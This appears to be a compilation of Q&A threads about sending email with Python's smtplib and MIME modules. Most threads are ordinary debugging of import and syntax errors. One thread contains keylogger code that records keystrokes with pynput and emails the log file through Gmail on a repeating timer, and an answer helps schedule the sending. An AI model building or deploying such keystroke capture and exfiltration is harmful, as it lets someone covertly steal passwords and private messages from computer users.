I have a script as follow
#!/usr/bin/python
import smtplib
import datetime
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
now = '{:%Y-%m-%d %H:%M:%S}'.format(datetime.datetime.now())
fromaddr = "xxx#gmail.com"
toaddr = "yyy#live.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Device Start Up Notification"
body = "Your device is started up %s " % now
msg.attach(MIMEText(body, 'plain'))
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "abc12345")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
When i execute this file, it shows error
Traceback (most recent call last):
File "./email.py", line 2, in <module>
import smtplib
File "/usr/lib/python2.7/smtplib.py", line 46, in <module>
import email.utils
File "/home/jypang/email.py", line 4, in <module>
from email.MIMEMultipart import MIMEMultipart
ImportError: No module named MIMEMultipart
The library is installed because I have another script which same as the script above (importing same library) and it's working well.
Please assist, thank you!
You named your module email which conflicts with standard library module email; stmplib module depends on the standard library module email.
You need to rename email with another name. If there's email.pyc, make sure delete it.
Related
I am trying to send email automatically from my official ID to another official ID. For that I have used following python script.
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
fromaddr = "<SENDER MAIL ID>"
toaddr = "<RECIPIENT MAIL ID>"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "SUBJECT OF THE MAIL"
body = "Robot Uprising, We are coming for you"
msg.attach(MIMEText(body, 'plain'))
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "YOUR PASSWORD")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
While executing this I am facing issue as follows:
Traceback (most recent call last):
File "mailsendtest.py", line 2, in <module>
from email.MIMEMultipart import MIMEMultipart
ImportError: No module named MIMEMultipart
I am a starter in python. Kindly provide inputs. Thanks !
I find two problems with your imports assuming you're using Python3.
Change from email.MIMEMultipart import MIMEMultipart to from email.mime.multipart import MIMEMultipart
Change from email.MIMEText import MIMEText to from email.mime.text import MIMEText
Also make sure you have the libraries installed if these don't work.
for a project I am working on a python keylogger. I have completed both the key logging module and the email module which sends the log files back to me but am having trouble on merging them together. I would like the keylogger to send me an email including the log file every 24 hours. How could I do that?
I tried using a simple time.sleep() delay but since the keylogging module only stops when I kill it as a process it never gets to the delay because it is "infinite" you could say.
Here is my current code:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
#Keylogging Module
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
#Email module
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
Please explain answers very simply because I am an absolute beginner.
Edit: This is the new code, which unfortunetly doesn't work.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
Edit 3: Re-organized the code, works but incomplete logs are sent.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
#Keylogging Module
def on_press(key):
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
Edit 4: This error appears when using code form Edit 3:
Traceback (most recent call last):
File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
Listener.join()
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
raise value.with_traceback(tb)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
return f(self, *args, **kwargs)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
self.on_press(key)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
if f(*args) is False:
File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
file.write(str(key))
ValueError: I/O operation on closed file.
As per this answer: https://stackoverflow.com/a/3393759/1910863
You can use a threading timer. Here is the code snippet from the linked answer:
import threading
def printit():
threading.Timer(5.0, printit).start()
print "Hello, World!"
printit()
You would call (or schedule) your method at the start of your script and it will re-schedule itself every time it fires.
If you like this answer, you should upvote the linked answer as he is the one that deserves the credit for it.
I followed a tutorial in youtube for sending email in python using outlook, however I have received an error when running the python file.
This is my python script :
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
sender_email_address = 'nmahirahaqilah.awahab#gmail.com'
sender_email_password = 'mypassword'
receiver_email_address = 'mahirah.abd.wahab#ericsson.com'
email_subject_line = 'Sample python email'
msg = MIMEMultipart()
msg['From'] = sender_email_address
msg['To'] = receiver_email_address
msg['Subject'] = email_subject_line
email_body = 'Hello World'
msg.attach(MIMEText(email_body,'plain'))
email_content = msg.as_string()
server = smtplib.SMTP('smtp.mail.outlook.com:587')
serverstarttls()
server.login(sender_email_address,sender_email_password)
server.sendmail(sender_email_address,receiver_email_address,email_content)
server.quit()
This is the error that I am receiving, not quite sure why:
C:\Users\Azril\Desktop>python email.py
File "email.py", line 3
from email.mime.text
^
SyntaxError: invalid syntax
Appreciate your help on this.
I'm trying to send a mail with from cgi web console using email input field but it fails with below error in apache logs
Traceback (most recent call last):
File "/opt/apache-dba/cgi-bin/main.py", line 132, in <module>
mail()
File "/opt/apache-dba/cgi-bin/main.py", line 129, in mail
s.sendmail(me, you, msg.as_string())
File "/usr/lib64/python2.7/smtplib.py", line 742, in sendmail
raise SMTPRecipientsRefused(senderrs)
smtplib.SMTPRecipientsRefused: {'xxx#adp.com/': (501, '5.1.3 Bad recipient address syntax')}
But I'm able to run the same code and able to receive the mail from python shell
Below is the code, this looks like when I run the code from cgi it is trying to convert mailid from 'xxx#adp.com' to 'xxx#adp.com/' resulting syntax error.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
Emailid = xxx#gmail.com
Link='http://google.com'
def mail():
me = "GETS.INDIA.DDS.TAM#gmail.com"
you = str(Emailid)
msg = MIMEMultipart('alternative')
msg['Subject'] = "Upgrade Status Link"
msg['From'] = me
msg['To'] = you
text = '%s' % str(Link)
part1 = MIMEText(text, 'plain')
msg.attach(part1)
s = smtplib.SMTP('localhost')
s.sendmail(me, you, msg.as_string())
s.quit()
mail()
any help will be greatly appreciated, Thank you
It looks like Emailid should be a string. Try surrounding your test email in quotes to make it a string.
Emailid = 'xxx#gmail.com'
#!/usr/bin/env python3
import smtplib,email,email.encoders,email.mime.text,email.mime.base
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
msg = MIMEMultipart()
# me == my email address
# you == recipient's email address
me = "sender#email.com"
you = "reciever#email.com "
# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('mixed')
msg['Subject'] = "msg"
msg['From'] = me
msg['To'] = you
# Create the body of the message (a plain-text and an HTML version).
text = "Hi\nThis is text-only"
html = """\
<html> This is email</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
#attach an excel file:
fp = open('TestStatus.xlsx', 'rb')
file1=email.mime.base.MIMEBase('application','vnd.ms-excel')
file1.set_payload(fp.read())
fp.close()
email.encoders.encode_base64(file1)
file1.add_header('Content-Disposition','attachment;filename=anExcelFile.xlsx')
# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part2)
msg.attach(part1)
msg.attach(file1)
composed = msg.as_string()
fp = open('msgtest.eml', 'w')
fp.write(composed)
# Credentials (if needed)
# The actual mail send
server = smtplib.SMTP('dc1smtp.com')
server.starttls()
server.sendmail(me, you, msg)
server.quit()
fp.close()
also when running it, I see this error message.
Traceback (most recent call last):
File "excel.py", line 57, in <module>
server.sendmail(me, you, msg)
File "C:\Python33\lib\smtplib.py", line 775, in sendmail
(code, resp) = self.data(msg)
File "C:\Python33\lib\smtplib.py", line 516, in data
q = _quote_periods(msg)
File "C:\Python33\lib\smtplib.py", line 167, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Python33\lib\re.py", line 170, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
I have tested this code and it is working. the only problem i am having is that, when i run it, i dont recieve the emails that i am testing it with. But when i run this code. it creates a file named "msgtest.eml". This file is like a draft of my email or something.
can someone show me how to use this show and be an actually email instead of a draft?
thanks
To send mail from localhost:
import smtplib
me = "me#me.com"
you = "you#you.com"
# insert your code here
msg = ...
s = smtplib.SMTP('localhost')
s.sendmail(me, [to], msg.as_string())